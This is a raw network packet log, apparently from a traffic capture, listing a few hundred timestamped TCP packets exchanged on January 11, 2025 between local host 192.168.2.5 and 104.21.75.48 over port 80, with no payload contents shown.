Jan 11, 2025 06:50:59.423304081 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.479559898 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.479597092 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.479630947 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.479679108 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.479670048 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.479731083 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.479757071 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.479780912 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.479780912 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.479814053 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.479840040 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.479860067 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.479866028 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.479902029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.479954958 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.479959011 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.479998112 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480005980 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480052948 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480062962 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480098009 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480106115 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480135918 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480169058 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480182886 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480204105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480215073 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480262995 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480276108 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480309010 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480323076 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480338097 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480355024 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480370998 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480408907 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480415106 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480437040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480448008 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480470896 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480479002 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480504036 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480532885 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480560064 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480571032 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480581999 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480604887 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480633974 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480647087 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480668068 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480701923 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480705023 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480705976 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480731010 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480752945 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480762005 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480793953 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480797052 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480819941 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480827093 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480840921 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480859041 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480869055 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480891943 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480904102 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480921030 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480931044 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480952978 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480964899 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.480987072 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.480992079 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.481019974 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.481028080 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.481053114 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.481076956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.481082916 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.481117010 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.481125116 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.481152058 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.481159925 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.481187105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.481193066 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.481221914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.481250048 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.481256008 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.481267929 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.481291056 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.481296062 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.481343031 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.481921911 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.481956005 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.481992960 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482006073 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.482026100 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482053041 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.482062101 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482069016 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.482095003 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482110023 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.482139111 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.482148886 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482191086 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.482199907 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482234001 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482244968 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.482281923 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482315063 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.482316017 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482342958 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.482353926 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482388973 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482423067 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.482429981 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.482429981 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.482465982 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.507843018 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.507899046 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.507925034 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.507934093 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.507973909 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.507987022 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.507996082 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508038044 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508065939 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508095026 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508100033 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508130074 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508136034 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508148909 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508177996 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508191109 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508236885 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508243084 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508275986 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508300066 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508316040 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508326054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508359909 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508371115 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508393049 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508399010 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508425951 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508434057 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508476973 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508485079 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508531094 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508563995 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508575916 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508598089 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508604050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508631945 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508656025 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508665085 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508672953 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508697987 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508707047 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508732080 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508740902 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508765936 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508795023 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508800983 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508825064 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508827925 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508852959 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508862972 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508868933 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508904934 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508913040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.508955956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.508972883 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509000063 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509049892 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509049892 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509097099 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509099007 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509131908 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509160995 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509188890 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509198904 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509227991 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509255886 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509274006 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509279013 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509314060 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509329081 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509346962 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509356022 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509381056 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509394884 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509413004 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509428024 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509448051 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509469032 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509476900 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509510994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509536982 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509545088 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509560108 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509574890 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509582996 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509608984 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509622097 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509641886 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509649038 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509675026 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509699106 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509707928 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509737015 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509742022 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509768963 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509778976 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509790897 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509809017 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509833097 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509855986 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509860039 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509910107 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509942055 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.509953976 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509980917 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.509996891 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510045052 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510081053 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510085106 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510111094 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510137081 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510154963 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510163069 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510195971 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510206938 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510227919 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510235071 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510262966 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510271072 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510293961 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510305882 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510328054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510337114 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510360956 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510386944 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510396004 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510428905 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510459900 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510461092 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510484934 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510493994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510504961 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510529041 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510539055 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510560036 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510570049 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510602951 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510615110 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510652065 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.510659933 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.510690928 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.566523075 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.566577911 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.566612959 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.566621065 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.566621065 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.566665888 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.566709995 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.566709995 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.566720009 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.566771030 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.566781998 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.566806078 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.566812038 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.566838980 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.566869020 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.566874981 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.566901922 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.566905975 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.566920042 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.566951036 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.566967010 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567017078 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567065001 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567066908 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567100048 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567126989 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567131042 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567152977 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567166090 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567177057 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567223072 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567270041 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567276001 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567310095 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567342997 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567383051 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567389011 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567415953 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567430973 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567457914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567461014 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567492962 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567524910 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567539930 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567553997 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567567110 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567586899 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567603111 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567620993 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567629099 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567650080 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567662001 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567682981 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567692995 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567718029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567759991 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567759991 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567786932 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567794085 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567802906 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567826986 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567837000 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567862034 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567871094 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567894936 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567926884 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567939997 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567960024 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.567969084 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.567994118 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.568023920 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.568027020 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.568053961 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.568064928 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.568068981 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.568099022 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.568125963 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.568146944 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.568799019 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.568850040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.568876028 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.568885088 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.568893909 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.568918943 CET	80	49704	104.21.75.48	192.168.2.5
